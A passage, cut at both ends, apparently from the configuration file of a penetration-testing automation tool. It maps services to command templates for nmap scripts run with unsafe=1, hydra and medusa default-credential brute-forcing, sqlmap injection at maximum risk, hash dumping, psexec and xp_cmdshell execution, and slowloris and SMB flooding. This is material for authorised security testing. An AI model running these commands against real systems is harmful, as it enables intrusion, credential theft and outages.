-Pn [IP] -p [PORT] --script=http-frontpage-login.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-generator.nse=http-generator.nse, "nmap -Pn [IP] -p [PORT] --script=http-generator.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-git.nse=http-git.nse, "nmap -Pn [IP] -p [PORT] --script=http-git.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-gitweb-projects-enum.nse=http-gitweb-projects-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-gitweb-projects-enum.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-google-malware.nse=http-google-malware.nse, "nmap -Pn [IP] -p [PORT] --script=http-google-malware.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-grep.nse=http-grep.nse, "nmap -Pn [IP] -p [PORT] --script=http-grep.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-headers.nse=http-headers.nse, "nmap -Pn [IP] -p [PORT] --script=http-headers.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-huawei-hg5xx-vuln.nse=http-huawei-hg5xx-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-huawei-hg5xx-vuln.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-icloud-findmyiphone.nse=http-icloud-findmyiphone.nse, "nmap -Pn [IP] -p [PORT] --script=http-icloud-findmyiphone.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-icloud-sendmsg.nse=http-icloud-sendmsg.nse, "nmap -Pn [IP] -p [PORT] --script=http-icloud-sendmsg.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-iis-short-name-brute.nse=http-iis-short-name-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-iis-short-name-brute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-iis-webdav-vuln.nse=http-iis-webdav-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-iis-webdav-vuln.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-joomla-brute.nse=http-joomla-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-joomla-brute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-litespeed-sourcecode-download.nse=http-litespeed-sourcecode-download.nse, "nmap -Pn [IP] -p [PORT] --script=http-litespeed-sourcecode-download.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-majordomo2-dir-traversal.nse=http-majordomo2-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-majordomo2-dir-traversal.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-malware-host.nse=http-malware-host.nse, "nmap -Pn [IP] -p [PORT] --script=http-malware-host.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-method-tamper.nse=http-method-tamper.nse, "nmap -Pn [IP] -p [PORT] --script=http-method-tamper.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-methods.nse=http-methods.nse, "nmap -Pn [IP] -p [PORT] --script=http-methods.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-mobileversion-checker.nse=http-mobileversion-checker.nse, "nmap -Pn [IP] -p [PORT] --script=http-mobileversion-checker.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-ntlm-info.nse=http-ntlm-info.nse, "nmap -Pn [IP] -p [PORT] --script=http-ntlm-info.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-open-proxy.nse=http-open-proxy.nse, "nmap -Pn [IP] -p [PORT] --script=http-open-proxy.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-open-redirect.nse=http-open-redirect.nse, "nmap -Pn [IP] -p [PORT] --script=http-open-redirect.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-passwd.nse=http-passwd.nse, "nmap -Pn [IP] -p [PORT] --script=http-passwd.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-php-version.nse=http-php-version.nse, "nmap -Pn [IP] -p [PORT] --script=http-php-version.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-phpmyadmin-dir-traversal.nse=http-phpmyadmin-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-phpmyadmin-dir-traversal.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-phpself-xss.nse=http-phpself-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-phpself-xss.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-proxy-brute.nse=http-proxy-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-proxy-brute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-put.nse=http-put.nse, "nmap -Pn [IP] -p [PORT] --script=http-put.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-qnap-nas-info.nse=http-qnap-nas-info.nse, "nmap -Pn [IP] -p [PORT] --script=http-qnap-nas-info.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-referer-checker.nse=http-referer-checker.nse, "nmap -Pn [IP] -p [PORT] --script=http-referer-checker.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-rfi-spider.nse=http-rfi-spider.nse, "nmap -Pn [IP] -p [PORT] --script=http-rfi-spider.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-robots.txt.nse=http-robots.txt.nse, "nmap -Pn [IP] -p [PORT] --script=http-robots.txt.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-robtex-reverse-ip.nse=http-robtex-reverse-ip.nse, "nmap -Pn [IP] -p [PORT] --script=http-robtex-reverse-ip.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-robtex-shared-ns.nse=http-robtex-shared-ns.nse, "nmap -Pn [IP] -p [PORT] --script=http-robtex-shared-ns.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-server-header.nse=http-server-header.nse, "nmap -Pn [IP] -p [PORT] --script=http-server-header.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-sitemap-generator.nse=http-sitemap-generator.nse, "nmap -Pn [IP] -p [PORT] --script=http-sitemap-generator.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-slowloris-check.nse=http-slowloris-check.nse, "nmap -Pn [IP] -p [PORT] --script=http-slowloris-check.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-slowloris.nse=http-slowloris.nse, "nmap -Pn [IP] -p [PORT] --script=http-slowloris.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-sql-injection.nse=http-sql-injection.nse, "nmap -Pn [IP] -p [PORT] --script=http-sql-injection.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-sqlmap=mysql-sqlmap, "sqlmap -v 2 --url=http://[IP] --user-agent=SQLMAP --delay=1 --timeout=15 --retries=2 --keep-alive --threads=5 --eta --batch --level=5 --risk=3 --banner --is-dba --dbs --tables --technique=BEUST -s [OUTPUT] --flush-session -t [OUTPUT] --fresh-queries > [OUTPUT]", mysql -http-stored-xss.nse=http-stored-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-stored-xss.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-title.nse=http-title.nse, "nmap -Pn [IP] -p [PORT] --script=http-title.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-tplink-dir-traversal.nse=http-tplink-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-tplink-dir-traversal.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-trace.nse=http-trace.nse, "nmap -Pn [IP] -p [PORT] --script=http-trace.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-traceroute.nse=http-traceroute.nse, "nmap -Pn [IP] -p [PORT] --script=http-traceroute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-unsafe-output-escaping.nse=http-unsafe-output-escaping.nse, "nmap -Pn [IP] -p [PORT] --script=http-unsafe-output-escaping.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-useragent-tester.nse=http-useragent-tester.nse, "nmap -Pn [IP] -p [PORT] --script=http-useragent-tester.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-userdir-enum.nse=http-userdir-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-userdir-enum.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-vhosts.nse=http-vhosts.nse, "nmap -Pn [IP] -p [PORT] --script=http-vhosts.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-virustotal.nse=http-virustotal.nse, "nmap -Pn [IP] -p [PORT] --script=http-virustotal.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-vlcstreamer-ls.nse=http-vlcstreamer-ls.nse, "nmap -Pn [IP] -p [PORT] --script=http-vlcstreamer-ls.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-vmware-path-vuln.nse=http-vmware-path-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-vmware-path-vuln.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-vuln-cve2009-3960.nse=http-vuln-cve2009-3960.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2009-3960.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-vuln-cve2010-0738.nse=http-vuln-cve2010-0738.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2010-0738.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-vuln-cve2010-2861.nse=http-vuln-cve2010-2861.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2010-2861.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-vuln-cve2011-3192.nse=http-vuln-cve2011-3192.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2011-3192.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-vuln-cve2011-3368.nse=http-vuln-cve2011-3368.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2011-3368.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-vuln-cve2012-1823.nse=http-vuln-cve2012-1823.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2012-1823.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-vuln-cve2013-0156.nse=http-vuln-cve2013-0156.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2013-0156.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-vuln-zimbra-lfi.nse=http-vuln-zimbra-lfi.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-zimbra-lfi.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-waf-detect.nse=http-waf-detect.nse, "nmap -Pn [IP] -p [PORT] --script=http-waf-detect.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-waf-fingerprint.nse=http-waf-fingerprint.nse, "nmap -Pn [IP] -p [PORT] --script=http-waf-fingerprint.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-wapiti=http-wapiti, wapiti http://[IP] -n 10 -b folder -u -v 1 -f txt -o [OUTPUT], http -http-wordpress-brute.nse=http-wordpress-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-brute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-wordpress-enum.nse=http-wordpress-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-enum.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-wordpress-plugins.nse=http-wordpress-plugins.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-plugins.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-xssed.nse=http-xssed.nse, "nmap -Pn [IP] -p [PORT] --script=http-xssed.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -https-wapiti=https-wapiti, wapiti https://[IP] -n 10 -b folder -u -v 1 -f txt -o [OUTPUT], https -imap-brute.nse=imap-brute.nse, "nmap -Pn [IP] -p [PORT] --script=imap-brute.nse --script-args=unsafe=1", imap -imap-capabilities.nse=imap-capabilities.nse, "nmap -Pn [IP] -p [PORT] --script=imap-capabilities.nse --script-args=unsafe=1", imap -irc-botnet-channels.nse=irc-botnet-channels.nse, "nmap -Pn [IP] -p [PORT] --script=irc-botnet-channels.nse --script-args=unsafe=1", irc -irc-brute.nse=irc-brute.nse, "nmap -Pn [IP] -p [PORT] --script=irc-brute.nse --script-args=unsafe=1", irc -irc-info.nse=irc-info.nse, "nmap -Pn [IP] -p [PORT] --script=irc-info.nse --script-args=unsafe=1", irc -irc-sasl-brute.nse=irc-sasl-brute.nse, "nmap -Pn [IP] -p [PORT] --script=irc-sasl-brute.nse --script-args=unsafe=1", irc -irc-unrealircd-backdoor.nse=irc-unrealircd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=irc-unrealircd-backdoor.nse --script-args=unsafe=1", irc -ldapsearch=Run ldapsearch, ldapsearch -h [IP] -p [PORT] -x -s base, ldap -membase-http-info.nse=membase-http-info.nse, "nmap -Pn [IP] -p [PORT] --script=membase-http-info.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -ms-sql-brute.nse=ms-sql-brute.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-brute.nse --script-args=unsafe=1", ms-sql -ms-sql-config.nse=ms-sql-config.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-config.nse --script-args=unsafe=1", ms-sql -ms-sql-dac.nse=ms-sql-dac.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-dac.nse --script-args=unsafe=1", ms-sql -ms-sql-dump-hashes.nse=ms-sql-dump-hashes.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-dump-hashes.nse --script-args=unsafe=1", ms-sql -ms-sql-empty-password.nse=ms-sql-empty-password.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-empty-password.nse --script-args=unsafe=1", ms-sql -ms-sql-hasdbaccess.nse=ms-sql-hasdbaccess.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-hasdbaccess.nse --script-args=unsafe=1", ms-sql -ms-sql-info.nse=ms-sql-info.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-info.nse --script-args=unsafe=1", ms-sql -ms-sql-query.nse=ms-sql-query.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-query.nse --script-args=unsafe=1", ms-sql -ms-sql-tables.nse=ms-sql-tables.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-tables.nse --script-args=unsafe=1", ms-sql -ms-sql-xp-cmdshell.nse=ms-sql-xp-cmdshell.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-xp-cmdshell.nse --script-args=unsafe=1", ms-sql -msrpc-enum.nse=msrpc-enum.nse, "nmap -Pn [IP] -p [PORT] --script=msrpc-enum.nse --script-args=unsafe=1", msrpc -mssql-default=Check for default mssql credentials, hydra -s [PORT] -C ./wordlists/mssql-betterdefaultpasslist.txt -u -o \"[OUTPUT].txt\" -f [IP] mssql, ms-sql-s -mysql-audit.nse=mysql-audit.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-audit.nse --script-args=unsafe=1", mysql -mysql-brute.nse=mysql-brute.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-brute.nse --script-args=unsafe=1", mysql -mysql-databases.nse=mysql-databases.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-databases.nse --script-args=unsafe=1", mysql -mysql-default=Check for default mysql credentials, hydra -s [PORT] -C ./wordlists/mysql-betterdefaultpasslist.txt -u -o \"[OUTPUT].txt\" -f [IP] mysql, mysql -mysql-dump-hashes.nse=mysql-dump-hashes.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-dump-hashes.nse --script-args=unsafe=1", mysql -mysql-empty-password.nse=mysql-empty-password.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-empty-password.nse --script-args=unsafe=1", mysql -mysql-enum.nse=mysql-enum.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-enum.nse --script-args=unsafe=1", mysql -mysql-info.nse=mysql-info.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-info.nse --script-args=unsafe=1", mysql -mysql-query.nse=mysql-query.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-query.nse --script-args=unsafe=1", mysql -mysql-users.nse=mysql-users.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-users.nse --script-args=unsafe=1", mysql -mysql-variables.nse=mysql-variables.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-variables.nse --script-args=unsafe=1", mysql -mysql-vuln-cve2012-2122.nse=mysql-vuln-cve2012-2122.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-vuln-cve2012-2122.nse --script-args=unsafe=1", mysql -nbtscan=Run nbtscan, nbtscan -v -h [IP], netbios-ns -nfs-ls.nse=nfs-ls.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-ls.nse --script-args=unsafe=1", nfs -nfs-showmount.nse=nfs-showmount.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-showmount.nse --script-args=unsafe=1", nfs -nfs-statfs.nse=nfs-statfs.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-statfs.nse --script-args=unsafe=1", nfs -nikto=Run nikto, nikto -o [OUTPUT].txt -p [PORT] -h [IP] -C all, "http,https,ssl,soap,http-proxy,http-alt,https-alt" -nmap=Run nmap (scripts) on port, nmap -Pn -sV -sC -vvvvv -p[PORT] [IP] -oA [OUTPUT], -oracle-brute-stealth.nse=oracle-brute-stealth.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-brute-stealth.nse --script-args=unsafe=1", oracle -oracle-brute.nse=oracle-brute.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-brute.nse --script-args=unsafe=1", oracle -oracle-default=Check for default oracle credentials, hydra -s [PORT] -C ./wordlists/oracle-betterdefaultpasslist.txt -u -o \"[OUTPUT].txt\" -f [IP] oracle-listener, oracle-tns -oracle-enum-users.nse=oracle-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-enum-users.nse --script-args=unsafe=1", oracle -oracle-sid=Oracle SID enumeration, "msfconsole -q -n -L -x \"color false; spool [OUTPUT].txt; use auxiliary/scanner/oracle/sid_enum; set RHOSTS [IP]; run; exit -y\"", oracle-tns -oracle-sid-brute.nse=oracle-sid-brute.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-sid-brute.nse --script-args=unsafe=1", oracle -oracle-version=Get Oracle version, "msfconsole -q -n -L -x \"color false; spool [OUTPUT].txt; use auxiliary/scanner/oracle/tnslsnr_version; set RHOSTS [IP]; run; exit -y\"", oracle-tns -polenum=Extract password policy (polenum), polenum [IP], "netbios-ssn,microsoft-ds" -pop3-brute.nse=pop3-brute.nse, "nmap -Pn [IP] -p [PORT] --script=pop3-brute.nse --script-args=unsafe=1", pop3 -pop3-capabilities.nse=pop3-capabilities.nse, "nmap -Pn [IP] -p [PORT] --script=pop3-capabilities.nse --script-args=unsafe=1", pop3 -postgres-default=Check for default postgres credentials, hydra -s [PORT] -C ./wordlists/postgres-betterdefaultpasslist.txt -u -o \"[OUTPUT].txt\" -f [IP] postgres, postgresql -rdp-sec-check=Run rdp-sec-check.pl, perl ./scripts/rdp-sec-check.pl [IP]:[PORT], ms-wbt-server -realvnc-auth-bypass.nse=realvnc-auth-bypass.nse, "nmap -Pn [IP] -p [PORT] --script=realvnc-auth-bypass.nse --script-args=unsafe=1", vnc -riak-http-info.nse=riak-http-info.nse, "nmap -Pn [IP] -p [PORT] --script=riak-http-info.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -rpcinfo=Run rpcinfo, rpcinfo -p [IP], rpcbind -rwho=Run rwho, rwho -a [IP], who -samba-vuln-cve-2012-1182.nse=samba-vuln-cve-2012-1182.nse, "nmap -Pn [IP] -p [PORT] --script=samba-vuln-cve-2012-1182.nse --script-args=unsafe=1", samba -samrdump=Run samrdump, python /usr/share/doc/python-impacket-doc/examples/samrdump.py [IP] [PORT]/SMB, "netbios-ssn,microsoft-ds" -showmount=Show nfs shares, showmount -e [IP], nfs -smb-brute.nse=smb-brute.nse, "nmap -Pn [IP] -p [PORT] --script=smb-brute.nse --script-args=unsafe=1", smb -smb-check-vulns.nse=smb-check-vulns.nse, "nmap -Pn [IP] -p [PORT] --script=smb-check-vulns.nse --script-args=unsafe=1", smb -smb-enum-admins=Enumerate domain admins (net), "net rpc group members \"Domain Admins\" -I [IP] -U% ", "netbios-ssn,microsoft-ds" -smb-enum-domains.nse=smb-enum-domains.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-domains.nse --script-args=unsafe=1", smb -smb-enum-groups=Enumerate groups (nmap), "nmap -p[PORT] --script=smb-enum-groups [IP] -vvvvv", "netbios-ssn,microsoft-ds" -smb-enum-groups.nse=smb-enum-groups.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-groups.nse --script-args=unsafe=1", smb -smb-enum-policies=Extract password policy (nmap), "nmap -p[PORT] --script=smb-enum-domains [IP] -vvvvv", "netbios-ssn,microsoft-ds" -smb-enum-processes.nse=smb-enum-processes.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-processes.nse --script-args=unsafe=1", smb -smb-enum-sessions=Enumerate logged in users (nmap), "nmap -p[PORT] --script=smb-enum-sessions [IP] -vvvvv", "netbios-ssn,microsoft-ds" -smb-enum-sessions.nse=smb-enum-sessions.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-sessions.nse --script-args=unsafe=1", smb -smb-enum-shares=Enumerate shares (nmap), "nmap -p[PORT] --script=smb-enum-shares [IP] -vvvvv", "netbios-ssn,microsoft-ds" -smb-enum-shares.nse=smb-enum-shares.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-shares.nse --script-args=unsafe=1", smb -smb-enum-users=Enumerate users (nmap), "nmap -p[PORT] --script=smb-enum-users [IP] -vvvvv", "netbios-ssn,microsoft-ds" -smb-enum-users-rpc=Enumerate users (rpcclient), bash -c \"echo 'enumdomusers' | rpcclient [IP] -U%\", "netbios-ssn,microsoft-ds" -smb-enum-users.nse=smb-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-users.nse --script-args=unsafe=1", smb -smb-flood.nse=smb-flood.nse, "nmap -Pn [IP] -p [PORT] --script=smb-flood.nse --script-args=unsafe=1", smb -smb-ls.nse=smb-ls.nse, "nmap -Pn [IP] -p [PORT] --script=smb-ls.nse --script-args=unsafe=1", smb -smb-mbenum.nse=smb-mbenum.nse, "nmap -Pn [IP] -p [PORT] --script=smb-mbenum.nse --script-args=unsafe=1", smb -smb-null-sessions=Check for null sessions (rpcclient), bash -c \"echo 'srvinfo' | rpcclient [IP] -U%\", "netbios-ssn,microsoft-ds" -smb-os-discovery.nse=smb-os-discovery.nse, "nmap -Pn [IP] -p [PORT] --script=smb-os-discovery.nse --script-args=unsafe=1", smb -smb-print-text.nse=smb-print-text.nse, "nmap -Pn [IP] -p [PORT] --script=smb-print-text.nse --script-args=unsafe=1", smb -smb-psexec.nse=smb-psexec.nse, "nmap -Pn [IP] -p [PORT] --script=smb-psexec.nse --script-args=unsafe=1", smb -smb-security-mode.nse=smb-security-mode.nse, "nmap -Pn [IP] -p [PORT] --script=smb-security-mode.nse --script-args=unsafe=1", smb -smb-server-stats.nse=smb-server-stats.nse, "nmap -Pn [IP] -p [PORT] --script=smb-server-stats.nse --script-args=unsafe=1", smb -smb-system-info.nse=smb-system-info.nse, "nmap -Pn [IP] -p [PORT] --script=smb-system-info.nse --script-args=unsafe=1", smb -smb-vuln-ms10-054.nse=smb-vuln-ms10-054.nse, "nmap -Pn [IP] -p [PORT] --script=smb-vuln-ms10-054.nse --script-args=unsafe=1", smb -smb-vuln-ms10-061.nse=smb-vuln-ms10-061.nse, "nmap -Pn [IP] -p [PORT] --script=smb-vuln-ms10-061.nse --script-args=unsafe=1", smb -smbenum=Run smbenum, bash ./scripts/smbenum.sh [IP], "netbios-ssn,microsoft-ds" -smbv2-enabled.nse=smbv2-enabled.nse, "nmap -Pn [IP] -p [PORT] --script=smbv2-enabled.nse --script-args=unsafe=1", smb -smtp-brute.nse=smtp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-brute.nse --script-args=unsafe=1", smtp -smtp-commands.nse=smtp-commands.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-commands.nse --script-args=unsafe=1", smtp -smtp-enum-expn=Enumerate SMTP users (EXPN), smtp-user-enum -M EXPN -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp -smtp-enum-rcpt=Enumerate SMTP users (RCPT), smtp-user-enum -M RCPT -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp -smtp-enum-users.nse=smtp-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-enum-users.nse --script-args=unsafe=1", smtp -smtp-enum-vrfy=Enumerate SMTP users (VRFY), smtp-user-enum -M VRFY -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp -smtp-open-relay.nse=smtp-open-relay.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-open-relay.nse --script-args=unsafe=1", smtp -smtp-strangeport.nse=smtp-strangeport.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-strangeport.nse --script-args=unsafe=1", smtp -smtp-vuln-cve2010-4344.nse=smtp-vuln-cve2010-4344.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2010-4344.nse --script-args=unsafe=1", smtp -smtp-vuln-cve2011-1720.nse=smtp-vuln-cve2011-1720.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2011-1720.nse --script-args=unsafe=1", smtp -smtp-vuln-cve2011-1764.nse=smtp-vuln-cve2011-1764.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2011-1764.nse --script-args=unsafe=1", smtp -snmp-brute=Bruteforce community strings (medusa), bash -c \"medusa -h [IP] -u root -P ./wordlists/snmp-default.txt -M snmp | grep SUCCESS\", "snmp,snmptrap" -snmp-brute.nse=snmp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-brute.nse --script-args=unsafe=1", snmp -snmp-default=Check for default community strings, python ./scripts/snmpbrute.py -t [IP] -p [PORT] -f ./wordlists/snmp-default.txt -b --no-colours, "snmp,snmptrap" -snmp-hh3c-logins.nse=snmp-hh3c-logins.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-hh3c-logins.nse --script-args=unsafe=1", snmp -snmp-interfaces.nse=snmp-interfaces.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-interfaces.nse --script-args=unsafe=1", snmp -snmp-ios-config.nse=snmp-ios-config.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-ios-config.nse --script-args=unsafe=1", snmp -snmp-netstat.nse=snmp-netstat.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-netstat.nse --script-args=unsafe=1", snmp -snmp-processes.nse=snmp-processes.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-processes.nse --script-args=unsafe=1", snmp -snmp-sysdescr.nse=snmp-sysdescr.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-sysdescr.nse --script-args=unsafe=1", snmp -snmp-win32-services.nse=snmp-win32-services.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-services.nse --script-args=unsafe=1", snmp -snmp-win32-shares.nse=snmp-win32-shares.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-shares.nse --script-args=unsafe=1", snmp -snmp-win32-software.nse=snmp-win32-software.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-software.nse --script-args=unsafe=1", snmp -snmp-win32-users.nse=snmp-win32-users.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-users.nse --script-args=unsafe=1", snmp -snmpcheck=Run snmpcheck, snmpcheck -t [IP], "snmp,snmptrap" -ssh-default=Check for default ssh credentials, hydra -s [PORT] -C ./wordlists/ssh-betterdefaultpasslist.txt -u -t 4 -o \"[OUTPUT].txt\" -f [IP] ssh, ssh -ssh-default-root=Check for default ssh root credentials, hydra -s [PORT] -C ./wordlists/root-userpass.txt -u -t 